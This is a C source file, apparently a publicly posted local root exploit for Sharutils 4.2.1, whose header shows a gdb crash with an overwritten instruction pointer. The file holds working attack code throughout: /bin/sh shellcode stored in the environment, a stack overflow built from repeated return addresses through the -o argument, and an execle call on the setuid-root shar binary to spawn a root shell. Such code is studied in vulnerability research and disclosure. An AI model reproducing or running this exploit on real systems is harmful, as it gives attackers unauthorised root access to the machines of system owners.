/* -------------------------------------------
/* Sharutils 4.2.1 local root exploit by n30n.
/* http://n30n.byte-lab.com 
/* n30n[at]satfilm[dot]net[dot]pl
/* -------------------------------------------
/* Posted in bugtraq by Shaun Colley. 
/* http://securityfocus.com/archive/1/359639
/* -------------------------------------------
/* Vulnerable versions <= 4.2.1 of Sharutils
/* n30n@orion:~$ ls -l /usr/local/bin/shar
/* -rwsr-sr-x  1 root root 123726 2004-07-17 21:03 /usr/local/bin/shar*
/* -----
/* (gdb) r -o`perl -e 'print "N"x500;'`
/* Starting program: /usr/local/bin/shar -o`perl -e 'print "N"x500;'`
/*
/* Program received signal SIGSEGV, Segmentation fault.
/* 0x4e4e4e4e in ?? ()
/* (gdb) info reg eip 
/* eip            0x4e4e4e4e       0x4e4e4e4e
/* ----------------------------------------------------------------- */


#include <stdlib.h>
#include <string.h>

#define PATH "/usr/local/bin/shar" /* You can change this */
#define BUFFER 500

char code[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd" /* Set real and effective user id & execve.*/
"\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07"
"\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d"
"\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";



int banner(){
    printf("\n\t-----------------------------------------------\n");
    printf("\t-> Sharutils 4.2.1 local root exploit by n30n.\n");
    printf("\t-> http://n30n.byte-lab.com\n");
    printf("\t-> EDUCATIONAL PRUPOSES ONLY.\n");
    printf("\t-----------------------------------------------\n");
    return 0;
}

int main(int argc, char *argv[]){
    int i,offset;
    long ret, *buf_addr;
    char *buffz,*path=PATH;
    static char *env[2]={code,NULL};          

    banner();
    offset = 0;
    buffz = malloc(BUFFER);
    ret = 0xbffffffa - strlen(code) - strlen(path);
    printf("\n\tEnjoy your uid :)\n\n");
    ret+=offset;
  buf_addr=(long*)buffz;
    for(i = 0; i < BUFFER; i+=4){
  *(buf_addr) = ret;
  buf_addr++;
    }
    
    execle(path,path,"-o",buffz,NULL, env);
    free(buffz);

    return 0;

}